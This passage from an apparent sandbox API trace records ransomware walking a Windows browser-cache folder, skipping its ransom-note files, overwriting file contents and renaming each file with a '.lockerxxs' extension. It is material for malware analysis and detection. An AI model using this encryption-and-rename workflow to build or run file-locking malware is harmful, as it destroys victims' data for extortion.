HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgTxB[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegtxb[1].jpg.lockerxxs")) returned 1 [0083.390] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45bc29d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45bc29d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45bc29d0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x36e, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBo1lFJ[2].png", cAlternateFileName="BBO1LF~2.PNG")) returned 1 [0083.390] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.390] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBo1lFJ[2].png") returned 1 [0083.390] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBo1lFJ[2].png") returned 1 [0083.390] lstrcmpiA (lpString1="", lpString2="BBo1lFJ[2].png") returned -1 [0083.390] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgTxB[1].jpg") returned="BBEgTxB[1].jpg" [0083.392] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBo1lFJ[2].png") returned="BBo1lFJ[2].png" [0083.392] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.392] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x348, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x348, lpOverlapped=0x0) returned 1 [0083.393] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.393] CloseHandle (hObject=0xa4) returned 1 [0083.393] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBo1lFJ[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbo1lfj[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBo1lFJ[2].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbo1lfj[2].png.lockerxxs")) returned 1 [0083.394] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x455f5430, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x455f5430, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x455f5430, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBs47TE[1].png", cAlternateFileName="BBS47T~1.PNG")) returned 1 [0083.394] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.394] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBs47TE[1].png") returned 1 [0083.394] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBs47TE[1].png") returned 1 [0083.394] lstrcmpiA (lpString1="", lpString2="BBs47TE[1].png") returned -1 [0083.394] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBo1lFJ[2].png") returned="BBo1lFJ[2].png" [0083.397] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBs47TE[1].png") returned="BBs47TE[1].png" [0083.397] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.397] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x219, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x219, lpOverlapped=0x0) returned 1 [0083.397] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.398] CloseHandle (hObject=0xa4) returned 1 [0083.398] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBs47TE[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbs47te[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBs47TE[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbs47te[1].png.lockerxxs")) returned 1 [0083.398] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45987530, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45987530, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45987530, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2cb0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBu9sWQ[1].jpg", cAlternateFileName="BBU9SW~1.JPG")) returned 1 [0083.398] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.398] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBu9sWQ[1].jpg") returned 1 [0083.398] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBu9sWQ[1].jpg") returned 1 [0083.399] lstrcmpiA (lpString1="", lpString2="BBu9sWQ[1].jpg") returned -1 [0083.399] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBs47TE[1].png") returned="BBs47TE[1].png" [0083.401] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBu9sWQ[1].jpg") returned="BBu9sWQ[1].jpg" [0083.401] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.401] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2c8a, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2c8a, lpOverlapped=0x0) returned 1 [0083.402] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.402] CloseHandle (hObject=0xa4) returned 1 [0083.402] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBu9sWQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbu9swq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBu9sWQ[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbu9swq[1].jpg.lockerxxs")) returned 1 [0083.403] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45bc29d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45bc29d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45bc29d0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x228c, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BByazif[2].jpg", cAlternateFileName="BBYAZI~2.JPG")) returned 1 [0083.403] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.403] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BByazif[2].jpg") returned 1 [0083.403] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BByazif[2].jpg") returned 1 [0083.403] lstrcmpiA (lpString1="", lpString2="BByazif[2].jpg") returned -1 [0083.403] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBu9sWQ[1].jpg") returned="BBu9sWQ[1].jpg" [0083.405] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BByazif[2].jpg") returned="BByazif[2].jpg" [0083.405] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.405] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2266, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2266, lpOverlapped=0x0) returned 1 [0083.406] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.406] CloseHandle (hObject=0xa4) returned 1 [0083.406] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BByazif[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbyazif[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BByazif[2].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbyazif[2].jpg.lockerxxs")) returned 1 [0083.511] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b51310, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b51310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b51310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xaf13, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="bs-components[1].css", cAlternateFileName="BS-COM~1.CSS")) returned 1 [0083.512] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.512] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bs-components[1].css") returned 1 [0083.512] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bs-components[1].css") returned 1 [0083.512] lstrcmpiA (lpString1="", lpString2="bs-components[1].css") returned -1 [0083.512] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BByazif[2].jpg") returned="BByazif[2].jpg" [0083.512] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x30be, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="bs-util[1].css", cAlternateFileName="BS-UTI~1.CSS")) returned 1 [0083.512] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.512] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bs-util[1].css") returned 1 [0083.512] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bs-util[1].css") returned 1 [0083.512] lstrcmpiA (lpString1="", lpString2="bs-util[1].css") returned -1 [0083.512] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\bs-components[1].css") returned="bs-components[1].css" [0083.513] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd97bf10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbd97bf10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbd9a2070, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x254f1, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="c7-bdbd0d-91cdfbc1[1].txt", cAlternateFileName="C7-BDB~1.TXT")) returned 1 [0083.513] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.513] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="c7-bdbd0d-91cdfbc1[1].txt") returned 1 [0083.513] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="c7-bdbd0d-91cdfbc1[1].txt") returned 1 [0083.513] lstrcmpiA (lpString1="", lpString2="c7-bdbd0d-91cdfbc1[1].txt") returned -1 [0083.513] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\bs-util[1].css") returned="bs-util[1].css" [0083.519] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\c7-bdbd0d-91cdfbc1[1].txt") returned="c7-bdbd0d-91cdfbc1[1].txt" [0083.521] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.521] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x254cb, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x254cb, lpOverlapped=0x0) returned 1 [0083.522] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.522] CloseHandle (hObject=0xa4) returned 1 [0083.523] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\c7-bdbd0d-91cdfbc1[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\c7-bdbd0d-91cdfbc1[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\c7-bdbd0d-91cdfbc1[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\c7-bdbd0d-91cdfbc1[1].txt.lockerxxs")) returned 1 [0083.523] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x614e4380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x614e4380, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x614e4380, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x211dd, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="cb=gapi[1].loaded_0", cAlternateFileName="CB_GAP~1.LOA")) returned 1 [0083.523] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.524] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cb=gapi[1].loaded_0") returned 1 [0083.524] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cb=gapi[1].loaded_0") returned 1 [0083.524] lstrcmpiA (lpString1="", lpString2="cb=gapi[1].loaded_0") returned -1 [0083.524] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\c7-bdbd0d-91cdfbc1[1].txt") returned="c7-bdbd0d-91cdfbc1[1].txt" [0083.524] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63c04d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c04d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63c04d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x653e, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="cb=gapi[2].loaded_0", cAlternateFileName="CB_GAP~2.LOA")) returned 1 [0083.524] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.524] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cb=gapi[2].loaded_0") returned 1 [0083.524] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cb=gapi[2].loaded_0") returned 1 [0083.524] lstrcmpiA (lpString1="", lpString2="cb=gapi[2].loaded_0") returned -1 [0083.524] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\cb=gapi[1].loaded_0") returned="cb=gapi[1].loaded_0" [0083.524] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x584c4b60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x584c4b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x58510e20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2a03f, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="chrome.min[1].css", cAlternateFileName="CHROME~1.CSS")) returned 1 [0083.524] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.524] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="chrome.min[1].css") returned 1 [0083.525] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="chrome.min[1].css") returned 1 [0083.525] lstrcmpiA (lpString1="", lpString2="chrome.min[1].css") returned -1 [0083.525] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\cb=gapi[2].loaded_0") returned="cb=gapi[2].loaded_0" [0083.525] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60c69520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60c69520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60c69520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x60c, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="chrome_throbber_fast_16[1].gif", cAlternateFileName="CHROME~1.GIF")) returned 1 [0083.525] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.525] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="chrome_throbber_fast_16[1].gif") returned 1 [0083.525] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="chrome_throbber_fast_16[1].gif") returned 1 [0083.525] lstrcmpiA (lpString1="", lpString2="chrome_throbber_fast_16[1].gif") returned -1 [0083.525] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\chrome.min[1].css") returned="chrome.min[1].css" [0083.525] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x55333bf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x55333bf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x55333bf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2b, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="collect[1].gif", cAlternateFileName="COLLEC~1.GIF")) returned 1 [0083.525] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.525] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="collect[1].gif") returned 1 [0083.525] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="collect[1].gif") returned 1 [0083.525] lstrcmpiA (lpString1="", lpString2="collect[1].gif") returned -1 [0083.525] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\chrome_throbber_fast_16[1].gif") returned="chrome_throbber_fast_16[1].gif" [0083.526] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe8f4e10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe8f4e10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe8f4e10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x7b1, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="ContainerTag[1].js", cAlternateFileName="CONTAI~1.JS")) returned 1 [0083.526] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.526] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ContainerTag[1].js") returned 1 [0083.526] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ContainerTag[1].js") returned 1 [0083.526] lstrcmpiA (lpString1="", lpString2="ContainerTag[1].js") returned -1 [0083.526] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\collect[1].gif") returned="collect[1].gif" [0083.526] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0083.526] PeekMessageA (in: 